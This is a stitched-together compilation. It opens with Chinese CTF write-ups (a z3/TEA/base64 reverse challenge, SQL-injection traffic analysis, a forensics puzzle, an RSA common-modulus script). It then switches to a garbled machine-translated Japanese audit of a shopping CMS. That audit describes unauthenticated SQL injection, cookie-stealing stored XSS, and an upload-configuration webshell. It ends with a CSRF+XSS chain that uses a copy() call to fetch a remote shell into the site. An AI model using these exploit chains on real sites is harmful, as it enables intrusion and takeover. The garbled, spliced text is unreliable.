       new_msg[2] = ((i_msg[1] & 15) << 4 | i_msg[2] >> 4) >> 2
       new_msg[3] = i_msg[2] & 63
       encoded += ''.join([BASE_CHAR[i] for i in new_msg])
   else:
       return (encoded + '=' * zero_cnt).encode()


if __name__ == '__main__':
   flag = input('Input your flag: ').strip().encode()
   if len(flag) ^ 42:
       exit(0)
   u = 0
   z = 1
   v = flag[:21]
   if ((((((-v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + v[20] == -321 and ((((((-v[0] + v[1] - v[2]) + v[3] - v[4] - v[5] - v[6] - v[7]) + v[8] + v[9] + v[10] - v[11]) + v[12] - v[13]) + v[14] - v[15] - v[16]) + v[17] - v[18] - v[19]) + v[20] == -265 and ((-2 * v[0] + v[1] + 2 * v[3] + 2 * v[4] - 2 * v[5]) + 2 * v[7] + 2 * v[9] - 2 * v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[15] - 2 * v[16]) + 2 * v[18] == -144 and ((-3 * v[0] + 2 * v[1] - v[2]) + 2 * v[4] - 2 * v[5]) + 2 * v[9] - 2 * v[11] - 2 * v[14] - 2 * v[16] - 2 * v[17] - 2 * v[19] == -637 and ((((((-2 * v[0] + v[1] - v[2]) + v[3] + 2 * v[4] - 2 * v[6]) + 2 * v[7] - 2 * v[8]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -158 and (((-6 * v[0] + 3 * v[1] - v[2]) + 2 * v[4] - 2 * v[6] - 2 * v[12]) + 2 * v[13] - 2 * v[16] - 2 * v[17]) + 2 * v[18] == -449 and (((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[7] - 2 * v[8] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] - 2 * v[17]) + 2 * v[20] == -778 and ((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[9] - 2 * v[12] - 2 * v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -760 and (((-13 * v[0] + 5 * v[1] + 2 * v[2] - v[3]) + v[4] - v[5] - 3 * v[6]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14] - 2 * v[17] == -1270 and (((((-22 * v[0] + 8 * v[1] + 3 * v[2] - 4 * v[3]) + 2 * v[4] + v[5] - 2 * v[6] - v[7]) + v[8] - v[9] - v[10]) + v[11] + v[12] - v[13] - v[14] - v[15]) + v[16] + v[17] - v[18]) + v[19] - v[20] == -1494 and ((((-2 * v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] == -528 and ((((-21 * v[0] + 8 * v[1] + 4 * v[2] - 2 * v[3]) + 2 * v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[16]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1853 and ((((-14 * v[0] + 5 * v[1] - v[3]) + 3 * v[4] - 2 * v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - v[11] - 2 * v[12]) + 2 * v[20] == -913 and ((((-20 * v[0] + 7 * v[1] + 3 * v[2] - 2 * v[3]) + 2 * v[4] - 3 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + 2 * v[13] - 2 * v[19]) + 2 * v[20] == -1310 and (((-11 * v[0] + 4 * v[1] + v[2] - v[3]) + v[4] - v[5] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - 2 * v[15] - 2 * v[16] - 2 * v[19] == -1576 and (((((-21 * v[0] + 8 * v[1] + 3 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1830 and ((((-27 * v[0] + 9 * v[1] + 5 * v[2] - 4 * v[3]) + v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - 3 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - v[15] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -2692 and (((-17 * v[0] + 7 * v[1] - 2 * v[3]) + 3 * v[4] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - 2 * v[19] == -1519 and ((((-25 * v[0] + 9 * v[1] + 3 * v[2] - 3 * v[3]) + 3 * v[4] - 4 * v[6] - v[7]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + 2 * v[18] == -1937 and (((((-24 * v[0] + 9 * v[1] + 4 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - 2 * v[19]) + 2 * v[20] == -2078 and (((((-8 * v[0] + 3 * v[1] + v[2] + 2 * v[4] - v[5] - 2 * v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + 2 * v[20] == -654:
       u = 1
   vs = bytes2ints(flag[21:-5])
   keys = bytes2ints(v[:16])
   res = []
   for i in range(len(vs) // 2):
       pt = vs[2 * i:2 * i + 2]
       v0, v1 = enc(len(flag), pt, keys)
       res.extend([v0, v1])
   else:
       res = list(ints2bytes(res))
       res.extend(list(encode(flag[-5:].decode())))
       check = [86, 2, 249, 121, 139, 89, 236, 10, 233, 193, 135, 89, 22, 235, 221, 127, 52, 113, 82, 87, 79, 72, 111, 65, 61]
       for r, c in zip(res, check):
           if r ^ c:
               z = 0
               break
       else:
           if z & u:
               print("Congratulations! You've got the flag!")
           else:
               print('Nope, try again!')

3、分析步骤,flag分成了三段:

第一段可以用z3求解

第二段为魔改tea,key为第一段前16字节

第三段为换标base64

4、分段求解即可

from ctypes import c_uint32
import base64
'''

from z3 import *

v = [ Int(f'v[{i}]') for i in range(21)]
s = Solver()

s.add(((((((-v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + v[20] == -321 )
s.add(((((((-v[0] + v[1] - v[2]) + v[3] - v[4] - v[5] - v[6] - v[7]) + v[8] + v[9] + v[10] - v[11]) + v[12] - v[13]) + v[14] - v[15] - v[16]) + v[17] - v[18] - v[19]) + v[20] == -265 )
s.add(((-2 * v[0] + v[1] + 2 * v[3] + 2 * v[4] - 2 * v[5]) + 2 * v[7] + 2 * v[9] - 2 * v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[15] - 2 * v[16]) + 2 * v[18] == -144 )
s.add(((-3 * v[0] + 2 * v[1] - v[2]) + 2 * v[4] - 2 * v[5]) + 2 * v[9] - 2 * v[11] - 2 * v[14] - 2 * v[16] - 2 * v[17] - 2 * v[19] == -637 )
s.add(((((((-2 * v[0] + v[1] - v[2]) + v[3] + 2 * v[4] - 2 * v[6]) + 2 * v[7] - 2 * v[8]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -158 )
s.add((((-6 * v[0] + 3 * v[1] - v[2]) + 2 * v[4] - 2 * v[6] - 2 * v[12]) + 2 * v[13] - 2 * v[16] - 2 * v[17]) + 2 * v[18] == -449 )
s.add((((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[7] - 2 * v[8] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] - 2 * v[17]) + 2 * v[20] == -778 )
s.add(((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[9] - 2 * v[12] - 2 * v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -760 )
s.add((((-13 * v[0] + 5 * v[1] + 2 * v[2] - v[3]) + v[4] - v[5] - 3 * v[6]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14] - 2 * v[17] == -1270 )
s.add((((((-22 * v[0] + 8 * v[1] + 3 * v[2] - 4 * v[3]) + 2 * v[4] + v[5] - 2 * v[6] - v[7]) + v[8] - v[9] - v[10]) + v[11] + v[12] - v[13] - v[14] - v[15]) + v[16] + v[17] - v[18]) + v[19] - v[20] == -1494 )
s.add(((((-2 * v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] == -528 )
s.add(((((-21 * v[0] + 8 * v[1] + 4 * v[2] - 2 * v[3]) + 2 * v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[16]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1853 )
s.add(((((-14 * v[0] + 5 * v[1] - v[3]) + 3 * v[4] - 2 * v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - v[11] - 2 * v[12]) + 2 * v[20] == -913 )
s.add(((((-20 * v[0] + 7 * v[1] + 3 * v[2] - 2 * v[3]) + 2 * v[4] - 3 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + 2 * v[13] - 2 * v[19]) + 2 * v[20] == -1310 )
s.add((((-11 * v[0] + 4 * v[1] + v[2] - v[3]) + v[4] - v[5] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - 2 * v[15] - 2 * v[16] - 2 * v[19] == -1576 )
s.add((((((-21 * v[0] + 8 * v[1] + 3 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1830 )
s.add(((((-27 * v[0] + 9 * v[1] + 5 * v[2] - 4 * v[3]) + v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - 3 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - v[15] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -2692 )
s.add((((-17 * v[0] + 7 * v[1] - 2 * v[3]) + 3 * v[4] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - 2 * v[19] == -1519 )
s.add(((((-25 * v[0] + 9 * v[1] + 3 * v[2] - 3 * v[3]) + 3 * v[4] - 4 * v[6] - v[7]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + 2 * v[18] == -1937 )
s.add((((((-24 * v[0] + 9 * v[1] + 4 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - 2 * v[19]) + 2 * v[20] == -2078 )
s.add((((((-8 * v[0] + 3 * v[1] + v[2] + 2 * v[4] - v[5] - 2 * v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + 2 * v[20] == -654)

print(s.check())
m=s.model()
print(m)
'''
v=[0]*21
v[6] = 99
v[16] = 49
v[3] = 103
v[0] = 102
v[13] = 45
v[5] = 99
v[12] = 48
v[4] = 123
v[10] = 48
v[1] = 108
v[7] = 102
v[8] = 101
v[2] = 97
v[15] = 54
v[11] = 54
v[9] = 52
v[18] = 45
v[20] = 50
v[14] = 97
v[19] = 52
v[17] = 49

v=bytes(v)
print(v)
flag1=v
def ints2bytes(v = None):
   n = len(v)
   res = b''
   for i in range(n // 2):
       res += int.to_bytes(v[2 * i], 4, 'little')
       res += int.to_bytes(v[2 * i + 1], 4, 'little')
   return res


def bytes2ints(cs = None):
   new_length = len(cs) + (8 - len(cs) % 8) % 8
   barray = cs.ljust(new_length, b'\x00')
   i = 0
   v = []
   while  i  < new_length:
       v0 = int.from_bytes(barray[i:i + 4], 'little')
       v1 = int.from_bytes(barray[i + 4:i + 8], 'little')
       v.append(v0)
       v.append(v1)
       i += 8
       continue

   return v

keys = bytes2ints(v[:16])
#print(keys)


c = [86,2,249,121,139,89,236,10,233,193,135,89,22,235,221,127,52,113,82,87,79,72,111,65,61]
flag3=bytes(c[-9:])
print(flag3)
c = c[:-9]
#print(c)
c = bytes2ints(bytes(c))
#print(c)


def enc(v = None, key = None):
   magic = 0xDEADBEEF
   l = c_uint32(v[0])
   r = c_uint32(v[1])
   total = c_uint32(0)
   for _ in range(42):
       l.value -= ((r.value << 4) - (r.value >> 6)) + (key[total.value & 3] << 2) ^ key[r.value << 3 & 3]
       total.value -= magic
       r.value += ((l.value << 5) + (l.value << 4) ^ key[total.value & 3] >> 2) + key[l.value & 3]
   return (l.value, r.value)


def dec(v = None, key = None):
   magic = 0xDEADBEEF
   l = c_uint32(v[0])
   r = c_uint32(v[1])
   total = c_uint32(0)
   for _ in range(42):
       total.value -= magic
   for _ in range(42):
       r.value -= ((l.value << 5) + (l.value << 4) ^ key[total.value & 3] >> 2) + key[l.value & 3]      
       total.value += magic
       l.value += ((r.value << 4) - (r.value >> 6)) + (key[total.value & 3] << 2) ^ key[r.value << 3 & 3]
       
   return (l.value, r.value)

flag2=[]
for i in range(2):
v0,v1 = dec(c[2 * i:2 * i + 2],keys)
flag2.extend([v0, v1])
flag2=ints2bytes(flag2)
print(flag2)

a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'    #标准表
b = 'ABCDEFGHIJKLMNOPQRST0123456789+/UVWXYZabcdefghijklmnopqrstuvwxyz'   #新表
flag3=flag3.decode()
trantab = flag3.maketrans(b, a)
flag3 = base64.b64decode(flag3.translate(trantab))
print(flag3)

flag=flag1 + flag2+ flag3
print(flag)

5、运行得到flag

wyslu4n2oee15214.png

flag{ccfe4060-a611-42d7-8265-32f75cb8cdb8}

MISC-timu

观察一下发现是sql盲注流量,成功时长度为437,SQL注入流量分析

ciexu23kufh15215.png

5gubkxwblcf15223.png

http.content_length == 437筛选一下导出文本

knusuovqxpq15226.png


msylr510rkd15232.png

写个脚本提取一下flag

import re

number = []
with open("flag.txt","r",encoding="utf-8") as f:
   for i in f.readlines():
       flag_number = re.search('\)\)=(.+?)--',i)
       if flag_number:
           print(chr(int(flag_number.group(1)[::])),end='')

MISC-babymisc

拿到手两个视频,发现key.mp4损坏

3l5e4jqvcw115236.png
使用digital  Video repair对MP4进行修复jhpwmb5j3k015247.png

照着help.mp4修改文件头之后打开成功,得到密码

0kksml3n4dv15262.jpg得到CODE压缩包密码:kfckfckfcdddd

拿到文件后发现KFC.png是一个文件头被修改的压缩包,改成504B0304再使用winrar自带的修复功能修一下即可正常打开

il04qcfg44p15265.pngyrikcyd3w2k15270.pngp3e0yqymhmx15274.png

另外三个文本根据文件名的提示依次用8421BCD编码,余3码和5121BCD编码对二进制进行解码,再将得到的三串数字加起来即可得到KFC.zip的密码

zpr1xv204py15293.png

8421:9520131412399
余3: 159258489321
5121:147258

解压密码:9679390048978

又得到了三个文件,根据内容了解是gpg加密。

lx0kj0aolvy15297.png

key.txt里的内容

jcI4=S$;@oRcTT_jfYEB]Y3Eh]]Y`Zka7.ePD8:aRHT1"jeSg:J?S(;UunS-k^]VqZ%h>RK]TD<ja`NVJ?S'qKBK5Bk,3jqLof^.YiW+%k*:Y_R'5VJU?JYfjM.taR=OFo[H3=;je\^5OGW(bS`[P<k*V1jOc\_2RHVD_kIeLiWJ9N2U?S,VkF81+^TlpQM<VUaje\^9JZe4OVW>IEkbtrQT;CV_K]nbajM.t`K>$?[K]]qJk+]9HWOCr>YNV=Dk^^,'V5!(AYiV^UkeF"VPD84VJ,

base85解密之后可以得到佛曰加密的文本

fskpvhl0i5w15306.png

把开头的吾换成佛之后即可成功解密,得到gpg密码

https://www.keyfc.net/bbs/tools/tudoucode.aspx

cy5pkxssfxc15314.png

得到gpg密码:KFCcrazyThursdayVme50

然后就是使用gnupg导入私钥,这里输入密码:KFCcrazyThursdayVme50

odvpn5fadtm15333.pngvnjmoik3y3b15335.png

使用gpg  --decrypt  enc ,并输入密码,j解码得到flag

icpgbhuobx015347.png


crypto-ezRSA

共模不互素RSA解码脚本:


from gmpy2 import gcdext, iroot

from Crypto.Util.number import long_to_bytes


n=15334568944937927007999900484465008933318606732373890322662758402635604904264667848527624432918429375075528808825616270959632486002311971836554591848781563095705366553616002512404398788966973097823043515475930194538283976927496112772470447937619132674710993584070843393450092524523160279299624451370719909878959576969398084280115463732579954724508652349756110176703496308636810989451987779509636118628086540986338888325501247197248272357069233416661506310524030484892275300358493956190791539925164498005723797931221417357134562381130881466267058989667933251564895613135627072396134981492993661899429352449683777587209

e1=27

c1=12986025840528664605029703071663558675501785717478309954653498440612589963048159389429665580606645713091596074128667194086739183824746224776044505827397154734845975260817293507509629880984219447666390126778735042575927584431041809412129358169629481686396038656480335466512102391890656372814903856027069054914435182728702353752096261176489806655455180097921073991840434590847811340528129253635512407064432360667518609177665325443979726996323560146227981931306518381574311791478479870050796181080300960066337033348776336649326992736515374354805162513674023608490939211117916740904072712484071608280826638537071430473813

e2=39

c2=6565386561126377566205122052098859256761850660695107175286649909808306124644179105628309902060507618319280856871171458108016540215224251721808589269898666208382953255344110718521884982317209269392886709868323886328303134746004772279271980557082263084385403484745749464251594821997308103907619284485485066324857517197751975558892533102067555683357635646156697977091058441721633786527229804348932128713515500689116444655902831314054143308572380052547505012526648205677796482004437411380302150565229313601140113069775555419804631455611599060297651400855376162690324232629639053723597992360016809065382185021672739721475

g,x,y=gcdext(e1,e2)

m=pow(c1,x,n)*pow(c2,y,n)%n

m=iroot(m,3)[0]

print(long_to_bytes(m))

kzhtlz135qe15357.png

题目附件内容:链接:https://pan.baidu.com/s/1_kP1FmyA5xi3Qy24xW-_rQ   提取码:7ggd



来自为知笔记(Wiz)

1。ディレクトリ構造

まず、構造を見てみましょう。システムフォルダーに関連するコードがあります。抜け穴を直接見せます。

图片

2。監査穴

1。ショッピングカートは非同期に情報を取得します-SQLインジェクション

System \ modules \ member \ cart.action.php

图片

単一の引用符をフィルタリングしますが、ここでは単一の引用によって保護されていないため、ここでは注入であり、ユーザーのIDは検証されていません。注入は、サイトの外にログインすることなく実行できます。

图片

图片

直接公式ウェブサイトハハハハ!

2。BOMプラグインダイレクトリー

システム/プラグイン/bom/bom.plugin.php

图片

直接アクセスするだけです。背景が変更されたとしても、それには何の問題もありません。まだちょうどいいです!

图片

3。私の注文貯蔵XSS(管理者Cookieを呼び出すことができます)

この一連のCMSが以前に発表されて以来、多くのXiaoheiは以前にXSSの脆弱性を発見しましたが、私のXSSは0Dayのようです。ははは、注文関数を投稿する必要があります。ここでは、最初にそれを通過するプロセスを示します。

图片

写真を追加します

图片

画像アドレスをXSSステートメントに変更します

图片

fileurl_tmpパラメーター

图片

現時点では、IMGタグが閉じられ、1つがポップアップします(バックグラウンドで管理されている「Order View」をトリガーします)

图片

4. Configuration-Backend GetShellをアップロードします

一部の人々は、バックグラウンドにアップロードがあることを見るかもしれませんが、実際、これらのアップロードは使用できません。背景のホワイトリストのフォーマットを変更することはできますが、それでも言及することはできません。現時点で.ただ参加してください! ~~

图片

単一の引用符をフィルターするため、ここには単一の引用符はありません。

图片

許可されたアップロードタイプでpyloadを書き込みます

图片

それは送信後に行われます~~コピー機能を通して遠隔馬を書く

图片

5.バックグラウンド検証コードには欠陥があります

图片

デフォルトのアカウントAdminこの文字列のMD5値は、対応する検証コード値であり、ブラストのためにここでインターフェイスを呼び出すことができます。また、小さな欠陥でもあります

6。パンチGETSHELL-CSRF+XSSのコンビネーション

XSSを直接使用してHTMLページをネストし、すべての操作をシミュレートします。それは完了です。アップロード形式の変更から始めて、アクセスをシミュレートするために馬を挿入する

[/index.php/admin/setting/upload?c=copy('http://www.xxx.com/shell.txt','./inc.php ');

いくつかの列を押して、それを成し遂げます。本当に心配しない場合は、最終的に管理者を追加してください。

このCMSのセットはCSRF攻撃をフィルタリングせず、スクリーンショットを採用しません。私のいとこの姿勢は私よりもセクシーです。おお、 hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah ahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha

元のリンクから転載:https://mp.weixin.qq.com/s/8otu9yq3pxj6k2qpbeznra